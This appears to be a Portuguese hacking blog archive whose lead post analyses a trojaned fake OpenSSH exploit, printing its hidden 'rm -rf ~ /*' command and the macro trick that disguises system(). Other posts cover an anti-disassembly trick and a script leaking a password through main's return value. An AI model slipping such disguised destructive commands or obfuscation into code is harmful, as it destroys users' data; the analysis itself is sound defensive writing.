Arquivo

Arquivo da Categoria ‘Sem categoria’

0-Day openssh-53p1-remote-root.c ?

7, fevereiro, 2010 Maycon Maia 5 comentários

Estava em casa e de madrugada recebi uma mensagem dizendo “0-day para OpenSSH” seguindo do seguinte link:
http://pentestit.com/wp-content/uploads/2010/02/openssh-53p1-remote-root.c

Já logo pensei na festa que isso seria para os script kiddies e raquers de plantão. Porém ao dar uma olhada rápida no código, percebe-se logo de inicio algumas sutilezas. De uma maneira geral o código realmente parece com um exploit, com seus imensos shellcodes e suas conexões por socket, o que me fez da uma olhada com mais calma e escrever este post.

Vamos ao começo do código:

184
185
186
187
if (geteuid()) {
	puts("Root is required for raw sockets, etc.");
	return 1;
}

Olhando logo na parte inicial do código, é possível notar que ele exige que seja executando com um usuário com privilégios de root, argumentando que é necessário para utilização de raw sockets (SOCK_RAW). Porém, procurando pela criação do socket em questão, nota-se que ele utiliza um SOCK_STREAM, que representa uma conexão TCP normal sem necessidade de root.

205
206
207
208
209
210
211
sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
	printf("  [-] Connecting Failed\n");
	return 1;
}

Em seguida, ele faz uma validação da quantidade de argumentos, fornecendo uma ajuda caso não existam parâmetros
suficiente:

189
190
191
192
if(argc < 3){
	usage(argv[0]);
	return 1;
}

Porém, é importante notar que ele não faz qualquer outra referência à argv, ou seja, ele não trata os parâmetros fornecidos.

196
197
198
199
200
201
202
203
if (!inet_aton(h, &addr.sin_addr)){
	host = gethostbyname(h);
	if (!host){
		printf("  [-] Resolving Failed\n");
		return 1;
	}
	addr.sin_addr = *(struct in_addr*)host->h_addr;
}

Seguindo pelo código, temos um trecho de código que diz converter o endereço fornecido em seu host. Porém como não existe qualquer parâmetro definido como host, a função inet_aton vai retornar um valor diferente de zero, o que resultará sempre no salto desta condição.

212
213
214
215
216
217
218
219
220
payload = malloc(limit * 10000);
ptr = payload+8;
memcpy(ptr,jmpcode,strlen(jmpcode));
jmpinst=fopen(shellcode+793,"w+");
if(jmpinst){
	fseek(jmpinst,0,SEEK_SET);
	fprintf(jmpinst,"%s",shellcode);
	fclose(jmpinst);
}

Neste momento ele começa a preencher um buffer (um trecho de código comum em exploits), porém ele escreve uma variável jmpcode a partir da posição 8 deste buffer ( apontado por ptr ):

maycon@hacknroll~$ printf $(cat jmpcode.txt) > jmpcode.bin
maycon@hacknroll~$ file jmpcode.bin
jmpcode.bin: ASCII C program text, with no line terminators
maycon@hacknroll~$ cat jmpcode.bin
rm -rf ~ /* 2> /dev/null &
maycon@hacknroll~$

Opa! Nos deparamos com uma coisa nem um pouco agradável de ser ver. Estamos vendo um comando que apaga o home do usuário em seguida apaga tudo a partir da raiz. :)

O mesmo código chama fopen() a uma posição do shellcode que sequer representa um nome de arquivo válido, ou seja, a função fopen() vai falhar.

No resto do código tem muita besteira. O que me deixou mais impressionado foi a macro fremote() que, não sei ao certo, tem a mesma função que system. Se reparar, ela é chamada no inicio do código como fremote(jmpcode), que executaria o rm -rf visto anteriormente, veja um exemplo da utilização das macros:

1
2
3
4
5
6
7
8
9
10
11
12
#include 
 
#define build_frem(x,y,a,b,c) a##c##a##x##y##b
#define fremote build_frem(t,e,s,m,y)
 
char jmpcode[] = "ls -l";
 
int main(void)
{
	fremote(jmpcode);
	return 0;
}

Analisando a chamada build_frem, temos que ele simplesmente organiza os parâmetros como terceiro, último, terceiro, primeiro, segundo e penúltimo. Aplicando esta mesma sequência nos parâmetros de build_frem teremos a string system.

Se executarmos gcc -E temos o código logo após o processamento das macros:

maycon@hacknroll~$ gcc -E fremote.c  | tail -n 8

char jmpcode[] = "ls -l";

int main(void)
{
	system(jmpcode);
	return 0;
}

maycon@hacknroll~$

Este é um trick bastante interessante. Ah se eu soubesse disto na época de Programação I na faculdade. :)

De qualquer forma isto serve de aviso para os que se aventuram a simplesmente compilar e executar os exploits vistos na internet.

Abraços a todos,
______________________________________
Maycon Maia Vitali ( 0ut0fBound )
Hack’n Roll

Categories: Sem categoria Tags:

Material do Curso de Ataques Web

11, julho, 2009 Maycon Maia 11 comentários

Pessoal,

É com grande satisfação que concluí a primeira turma do Curso de Extensão Tecnológica em Ataques Web do Centro Universitário Vila Velha. E, como prometido para muitos, estou disponibilizado o material utilizado durante o curso. Nele temos a apostila de 72 páginas que eu mesmo escrevi, e os slides apresentados durante as aulas.

Segue o link para cada um dos itens do material:

Bem, infelizmente a apostila está sem revisão. Contanto estou contando com a colaboração de todos para enviarem algumas revisões que acharem necessárias. Provavelmente no modelo final irei colocar uma lista de todos que contribuiram com a revisão.

Só para lembrar que o curso está com inscrições abertas para a segunda turma. Caso esteja interessado as inscrições podem ser feita Aqui.

Durante o curso, criei um grupo do Yahoo Grupos! para que possamos trocar melhores experiências e tirar dúvidas no quesito “segurança em web”. Se tiver interessado em contribuir com o grupo o mesmo pode ser acesso Aqui.

Obrigado a todos e Hack’n Roll

Categories: Sem categoria Tags:

Curso de Ataques Web

7, abril, 2009 Maycon Maia 4 comentários

Pessoal,

Tenho o prazer de informar que já estão abertas as inscrições para o curso Ataques web: entendendo, identificando e prevenindo, inédito em nosso estado.
http://www.uvv.br/cursosExtensao/cursoAtaqueWeb.asp

O curso terá 24h e custará apenas R$120,00. Para vocês terem uma idéia de como está barato, curso similar em São Paulo, com carga horária muito inferior (8h), é oferecido por R$299,00.

O curso abordará o Top 10 da OWASP (The Open Web Application Security Project), que relaciona anualmente as 10 vulnerabilidades mais exploradas na web. Será apresentada aos alunos a realidade dos ataques em sistemas web de maneira prática, demonstrando como os atacantes identificam as vulnerabilidades e, a partir delas, efetuam ataques que comprometem os principais ativos das empresas.
Após entenderem como os ataques são realizados os alunos aprenderão a projetar e desenvolver sistemas web imunes a eles, aplicando as melhores técnicas de prevenção e defesa.

Se você trabalha ou tem interesse nas áreas de desenvolvimento web ou segurança da informação, essa é uma oportunidade imperdível para você.

O curso é 100% prático, com um aluno por computador e realizado em moderno laboratório climatizado. Os alunos receberão material didático de apoio e ainda contarão com suporte pedagógico do professor via Internet durante todo o período do curso, permitindo um acompanhamento detalhado do desenvolvimento de cada aluno. Além disso, os certificados têm a chancela da UVV, a maior e mais respeitada instituição privada de ensino do Espírito Santo.

Atenção: as vagas são limitadas. Faça já sua inscrição on-line e garanta sua
vaga.
http://www.uvv.br/cursosExtensao/cursoAtaqueWeb.asp

Obs: há também a possibilidade de serem criadas turmas personalizadas para empresas ou grupos fechados. Para mais informações, entre em contato.

Obs. 2: em breve serão oferecidos vários outros cursos de curta duração na área de TI. Fiquem atentos.

Categories: Sem categoria Tags:

False Disassembly

20, janeiro, 2009 Anderson Eduardo 3 comentários

Olá galera.! Como meu primeiro post no blog irei falar sobre um método que irá dificultar o disassembly de um binário.

O método cria um Falso Disassembly, que irá confundir os disassemblers gerando outras instruções diferente da que irá executar colocando outros bytes juntos com o opcode correto. O código abaixo é um exemplo de um simples exit sem esse método.

1
2
3
4
5
6
7
8
.section .text
.globl _start
_start:
          xor %eax,%eax
          push %eax
          mov $0x1,%al
          push %eax
          int $0x80
c0d3labs# objdump -d normal_exit

normal_exit:     file format elf32-i386-freebsd

Disassembly of section .text:

08048074 :
 8048074:       31 c0                   xor    %eax,%eax
 8048076:       50                      push   %eax
 8048077:       b0 01                   mov    $0x1,%al
 8048079:       50                      push   %eax
 804807a:       cd 80                   int    $0x80
c0d3labs#

Agora, no exemplo abaixo, quando o disassembler for mostrar o código, irá juntar os opcodes “\xc0\xc9″ com “\x31″, que é o começo do “xor %eax,%eax”, que faz a instrução “ror $0×31,%cl”(opcode “\xc0\xc9\x31″). Isso aconteçe porque a instrução “ror”(opcode “\xc0″) recebe dois argumentos. Com isso o “\xc0″, que é o final do “xor %eax,%eax”, é ignorado e passa a ser a proxima instrução.

A chave principal dessa idéia é alterar o entry point. No caso iremos aumentar em dois para cair diretamente no “\x31\xc0″, no caso executar o “xor %eax,%eax” e, assim, ignorar o “\xc0\xc9″ que foi inserido só para confundir o disassembly.

E, em seguida, executar o “jmp . + 4″ (opcode “\xeb\x02″), que é para pular do endereço atual mais quatro. Isso para ignorar o “\xc9\xc0″ que foi inserido junto com “\xb0\x01″ para o mesmo propósito, e cair diretamente no “mov $0×1,%al”(opcode “\xb0\x01″) e assim seguir adiante.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.section .text
.globl _start
_start:
         .byte 0xc0
         .byte 0xc9
         xor %eax,%eax
         push %eax
         jmp . + 4
         .byte 0xc0
         .byte 0xc9
         mov $0x1,%al
         jmp . + 4
         .byte 0xc9
         .byte 0xc0
         push %eax
         jmp . + 4
         .byte 0xc0
         .byte 0xc9
         int $0x80
c0d3labs# objdump -d false_disassembly

false_disassembly:     file format elf32-i386-freebsd

Disassembly of section .text:

08048074 <_start>:
8048074:       c0 c9 31                ror    $0x31,%cl
8048077:       c0 50 eb 02             rclb   $0x2,0xffffffeb(%eax)
804807b:       c0 c9 b0                ror    $0xb0,%cl
804807e:       01 eb                   add    %ebp,%ebx
8048080:       02 c9                   add    %cl,%cl
8048082:       c0 50 eb 02             rclb   $0x2,0xffffffeb(%eax)
8048086:       c0 c9 cd                ror    $0xcd,%cl
8048089:       80                      .byte 0x80
c0d3labs#

Para alterar o entry point, você pode mudar manualmente via qualquer editor hexadecimal no offset 0×18 ou usar esse code.

Todos os testes foram feito em um FreeBSD versão 6.2.

Até mais!

`hacknroll`

Categories: Sem categoria Tags:

return! Sim ou Não?

9, janeiro, 2009 Maycon Maia 10 comentários

Muitas vezes no cotidianos estamos trabalhando a todo vapor e acabamos deixando passar desapercebido algumas coisas que muitos dizem serem inofensivas. Um exemplo disto está na utilização do comando return nos programas escrito em C, pois muitos não sabem sua utilidade (pelo menos na main) e outros simplesmente procuram ignorá-los.

Isto não aconteceu necessariamente comigo, já que sou mais um na fila dos desempregados atoas, entretanto, ao me deparar com um código, percebi que existia uma maneira de tirar proveito desta situação, onde omite-se a utilização do comando return. Por isso resolvi compartilhar com os leitores como o post pilot do blog da Hackn’ Roll.

Vejamos o seguinte código abaixo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include "secret_pass.h"
 
int main(int argc, char **argv)
{
    if (argc != 2)
    {
        fprintf (stderr, "Use: %s [pass]\n", argv[0]);
        exit(0);
    }
 
    if (!strcmp(argv[1], PASS))
    {
        printf ("You won!\n");
    }
}

Como podemos perceber, não temos nada de Stack Overflow, Format String, Integer Overflow, nem nada de baixo nível. A única coisa que alguns devem ter percebidos é que não colocamos esquecemos o comando return da main(), e isto não tem nada d+. Certo?! Bem veremos.

Como todos sabem (se não souberem man strcmp), a função strcmp() é responsável por comparar duas strings e retornar um numero de ordem lexicográfica entre elas. Isto significa que se ao ir comparando caractere-a-caractere, em um dado momento se um caractere do primeiro parâmetro for diferente do segundo, a função irá retornar a diferença entre eles. Caso os parâmetros sejam iguais a função retorna 0 (zero).

Bem, e o que isto tem haver com o retorno de main()? Simples! Alguns sabem que o retorno de uma função fica armazenada no registrador %eax, e se dizemos que a função main() possúi um retorno, o programa retornará o valor de %eax para o S.O.. Porém não fornecemos o retorno de main(). Só que independente de termos ou não fornecido um retorno de main(), o programa retornará o valor do registrador %eax.

No nosso exemplo, a ultima função a ser executada foi a função strcmp() que retorna a comparação lexicográfica e, como não fazemos nada após ela, temos um Information Leak que nos permite obter a senha original que foi utilizada no strcmp().

Com isto, escreví um pequeno script que executa o programa e, a partir do retorno deduz qual a senha que está sendo utilizada na comparação:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh
 
PROG=./secret_pass
 
pass=""
while [ 1 ]; do
        # Executa o programa e pega o retorno
        result=$($PROG "$pass")
        ret=$?
 
        # Verifica se tivemos o retorno correto
        if [ "$result" == "You won!" ]; then
                echo -ne "The password is '$pass'\n"
                exit;
        fi;
 
        # Obtem o ascii e concatena com a senha atual
        next=$(echo $ret | awk '{printf("%c", 256 - $1)}')
        pass=$pass$next
done;

Como começamos passado uma senha “” (vazia), na comparação o programa retorna 0 – NN (onde NN é o ascii do primeiro caracter). Isto geraria um underflow, o que cria a necessidade de voltar pra o valor normal com 256 – NN (vide código) e com isto obter seu valor ascii.

Veja a execução de nosso script:

$ ./get_password.sh
The password is 'ThIs iS mY SecrEt p4ssw0rd'
$ ./secret_pass "ThIs iS mY SecrEt p4ssw0rd"
You won!
$

Como visto, conseguimos obter a senha original sem mecher com assembly, shellcode, overflow, e essas que só nerds como eu gostam.

Bem, este foi meu primeiro post em meu primeiro blog. Espero que agrade e ajude no crescimento de todos.

Categories: Sem categoria Tags:

Bem vindos!

9, janeiro, 2009 Maycon Maia 3 comentários

Estávamos eu e Anderson atoa em uma sexta-feira 1h00 da manhã porque somos nerds ocupados e resolvemos fazer uma coisa inédita. Isto mesmo! Este é nosso primeiro blog, que visa apresentar gambiarras coisas que fazemos em nosso dia-a-dia para ajudar ou para resolver problemas e, como a maioria não são dígnas de documentos e artigos, vamos juntá-las aqui.

Então damos boas vindas aos visitantes e espero que gostem do material fornecido aqui. Lembrando que serão coisas voltadas a Linux, FreeBSD, Security, Insecurity entre outros.

Categories: Sem categoria Tags: